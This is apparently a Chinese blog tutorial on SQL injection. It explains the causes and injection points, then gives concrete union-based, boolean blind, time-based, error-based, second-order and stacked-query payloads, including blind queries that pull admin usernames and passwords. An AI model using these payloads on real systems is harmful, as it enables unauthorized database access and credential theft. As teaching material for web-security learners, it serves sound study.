web安全学习(sql注入1)

一.简介

sql语句就是数据库语句,而sql注入就是用户将自己构造的恶意sql语句提交,然后服务器执行提交的危险语句。sql注入可能造成信息泄露以及服务器被控制等危害。

二.产生原因(数据拼接)

大多数web应用或者web服务需要与数据库进行交互,比如根据用户输入名字返回相应的搜索结果,如果没有对用户的输入进行无害处理,web应用程序对用户输入的数据的合法性判断或者过滤不严格,用户输入数据与sql请求拼接,直接操作数据库,那么就容易形成安全漏洞。

漏洞产生位置(用户可以提交数据的地方) get post user-agent cookie x-forward-for

分类:联合注入 报错注入 时间盲注 布尔盲注 二次注入 增删改注入

三.详细介绍

1.mysql数据库系统

该数据库系统里面又包含以下几个数据库,第一个是自己创建的数据库,存储我们需要的信息,第二个是performance_schema,这个里面存储的是mysql数据库的一些性能指标,一些参数信息,sys是以一种更容易让人理解的方式展示mysql数据库的性能指标,sql注入经常使用的是这个information_schema 数据库,这个是对于数据库所有元数据信息的一个视图,因此可以很方便的浏览数据库的全部信息,然后information_schema这个数据库中也存在很多表,比如schema表中的就是所有数据库名称,tables表中存储的是所有的表信息,包括这个表属于哪个数据库以及表的类型等等,columns存储的是列信息,USER_PRIVILEGES是用户权限表。

2.具体的查询思路

首先判断是否存在注入点,基本的方法就是给可能存在注入点的参数传值为单引号,如果存在sql注入那么页面会出现sql相关的错误信息,下面是个sql查询的例子,$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"; 一般来说,报错显示near '''就是数字型注入,也就是传入的参数没有被引号闭合的,如果报错信息中有near "3'"包含数字那就是字符型注入,

3.在判断出是否存在sql注入之后就可以进行下一步查询操作,首先我们会用到联合查询,这样可以查找其他数据库或者其他表中的数据,而不是仅限于存在漏洞的参数所在的表。联合查询有一个要求就是前后的查询结果的数量要一样,比如"select username,email from member where id=$id";  联合查询就是?id=1 union select 1,2。因为原本的结果有两个数据,所以union select后面也跟着两个数据。我们首先判断数据库名,语句为?id=-1 union select 1,group_concat(schema_name) from information_schema.schemata,这里用到-1是为了只显示我们需要查询的后面的数据,后面的group_concat是为了将所有的数据库名在同一个数据点显示出来,起到连接的作用,得到了所有数据库名我们就选其中一个去查询表,语句为id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='exp',查列名,union select 1,group_concat(column_name) from information_schema.columns where table_name='exp' and table_schema='exp',在得到这些信息后就可以查数据了,语句为select 列名,列名 from 数据库名.表名。

任何用户可以控制输入并且和sql语句进行了拼接的地方都可能存在sql注入

4.无回显

前面说到的联合查询是在页面有回显信息,显示你的查询到的信息的情况下可以使用,那如果页面没有回显我们就会使用布尔盲注,时间盲注以及报错注入,布尔盲注就是使用or语句进行猜测,猜对了和猜错了的页面显示不同,时间盲注差不多,根据猜测的结果是否正确决定页面响应的时间,猜长度:' or length(database()) > 8 --+ ,猜名字:'or ORD(mid(database(),1,1)) > 100 --+,猜表的数量'or (select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()) = 2  --+  ,猜表名的长度'or (select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1) = 5 --+,运用limit进行限制,'Or ORD(mid(select TABLE_NAME from information_schema.TABLES where
TABLE_SCHEMA = database() limit 0,1),1,1)) >100   --+,'or (select count(column_name) from information_schema.COLUMNS where TABLE_NAME='表名') > 5 --+,'or (select length(column_name) from information_schema.COLUMNS where TABLE_NAME='表名' limit 0,1) = 10 --+,'or ORD(mid((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = '表名' limit 0,1),1,1)) > 100 --+,'or (select Length(concat(username,"---",password)) from admin limit 0,1) = 16  --+,'or ORD(mid((select concat(username,"-----",password) from admin limit 0,1),1,1)) > 100 --+ ,以上就是会使用到的盲注查询语句,时间盲注就是用sleep函数以及if函数替换掉or函数,报错就是页面会显示错误信息,我们用updatexml函数,并且将徐要查询的信息作为参数传给这个函数。

5.二次注入

我们为了防止sql注入攻击有时会对数据进行转义,比如输入的是1',转义后变成了1\',但是存入数据库的还是原数据1',而我们在另一个位置再次将数据库中的数据取出使用的时候取出的就是1'这个危险数据了,比如我们注册一个用户名称为admin'#,虽然进行了转义但存在数据库的可能是原数据,我们在登陆的时候利用这个就能登录admin的账号,因为此时在登陆这个功能这里并未对特殊符号进行转义。

6.堆叠注入

堆叠注入就是同时执行多条sql语句,因为我们在使用sql查询的时候总是用分号把每条语句隔开,因此我们也可以像?id=1';select * from table;这样来查询。

web安全学习(sql注入1)的更多相关文章

  1. WEB 安全之 SQL注入 < 三 > 提权

    SQL注入是一个比较“古老”的话题,虽然现在存在这种漏洞的站点比较少了,我们还是有必要了解一下它的危害,及其常用的手段,知己知彼方能百战不殆.进攻与防守相当于矛和盾的关系,我们如果能清楚了解 攻击的全 ...

  2. WEB 安全之 SQL注入 < 二 > 暴库

    SQL注入是一个比较"古老"的话题,虽然现在存在这种漏洞的站点比较少了,我们还是有必要了解一下它的危害,及其常用的手段,知己知彼方能百战不殆.进攻与防守相当于矛和盾的关系,我们如果 ...

  3. WebGoat学习——SQL注入(SQL Injection)

    SQL注入(SQL Injection) 所谓SQL注入式攻击,就是攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令.攻击者通过web请求提交带有影响正 ...

  4. Web安全 之 SQL注入

    随着B/S模式应用开发的发展,使用这种模式编写的应用程序也越来越多.相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患.用户可以提交一段数据库查询代码,根据 ...

  5. 【渗透攻防WEB篇】SQL注入攻击初级

    前言不管用什么语言编写的Web应用,它们都用一个共同点,具有交互性并且多数是数据库驱动.在网络中,数据库驱动的Web应用随处可见,由此而存在的SQL注入是影响企业运营且最具破坏性的漏洞之一,这里我想问 ...

  6. 【渗透攻防Web篇】SQL注入攻击高级

    前言 前面我们学习了如何寻找,确认,利用SQL注入漏洞的技术,本篇文章我将介绍一些更高级的技术,避开过滤,绕开防御.有攻必有防,当然还要来探讨一下SQL注入防御技巧. 目录 第五节 避开过滤方法总结 ...

  7. 通过sqli-labs学习sql注入——基础挑战之less1

    环境准备: Phpstudy  (PHP+Apache+Mysql) Sql-lab 首先了解下基础知识: URL编码: 因为在浏览器中,当我们访问一个网址的时候,浏览器会自动将用户输入的网址进行UR ...

  8. [超级基础]Web安全之SQL注入由浅入深(?)

    前言 断断续续看Web安全到现在了,感觉对很多基础知识还是一知半解,停留在模糊的层次.所以准备系统总结一下. Sql注入我以前一直不以为然,一是现在能sql的站确实很少,二是有像sqlmap的工具可以 ...

  9. 学习SQL注入---1

    开始接触SQL注入了,最开始根据网上的思路做了两道注入的题,但对于SQL注入如何实现,怎么一个流程还是不理解.后来,在网上查找了很多资料,现在一点点去理解. 1.利用sqlmap注入的时候,不是所有页 ...

随机推荐

  1. C++大数据的读写

    当一个文件1G以上的这种,使用内存文件映射会提高读写效率: 下边时段出自<windows核心编程>,读取一个大文件,然后统计里边字符出现次数的函数: __int64 CountOs(voi ...

  2. 058_末晨曦Vue技术_过渡 & 动画之过渡的类名

    进入/离开 & 列表过渡 点击打开视频讲解更加详细 概述 Vue 在插入.更新或者移除 DOM 时,提供多种不同方式的应用过渡效果.包括以下工具: 在 CSS 过渡和动画中自动应用 class ...

  3. Java 在Word文档中添加艺术字

    艺术字是以普通文字为基础,经过专业的字体设计师艺术加工的变形字体.字体特点符合文字含义.具有美观有趣.易认易识.醒目张扬等特性,是一种有图案意味或装饰意味的字体变形,常用来创建旗帜鲜明的标志或标题. ...

  4. WinUI 3 踩坑记:从创建项目到发布

    本文是 WinUI 3 踩坑记 的一部分,该系列发布于 GitHub@Scighost/WinUI3Keng,若内容出现冲突以 GitHub 上的为准. 创建项目 现在 WinUI 3 的入门体验比刚 ...

  5. 微信小程序-云函数、云存储

    云函数是运行在服务器端的 创建一个目录cloud project.config.json配置云函数目录 cloud目录有个云朵.代表云函数 初始化成功了 新建一个云函数 cloud目录右击 新建一个N ...

  6. centos7使用yum方式安装redis6

    yum -y install epel-release wget make gcc-c++ cd /opt wget https://download.redis.io/releases/redis- ...

  7. 7.nexus版本升级

    nexus-3.14.0升级到3.15.2 首先来看下原来的服务目录: nexus-3.14.0-04 sonatype-work 注意:nexus-3.14.0-04是应用程序包,sonatype- ...

  8. DevOps图示

  9. 编码中的Adapter,不仅是一种设计模式,更是一种架构理念与解决方案

    大家好,又见面了. 不知道下面这玩意大家有没有见过或者使用过?这是一个插座转换器.我们都知道日常使用的是220v的交流电,而国外不同国家使用的电流电压是不一样的(比如日本使用的是110v).且插座的接 ...

  10. SQL通用语法和SQL分类

    SQL通用语法 1.SQL 语句可以单行或多行书写,以分号结尾 2.可使用空格和缩进来增强语句的可读性 3.MySQL 数据库的SQL语句不区分大小写,关键字建议使用大写 4.3种注释 单行注释: - ...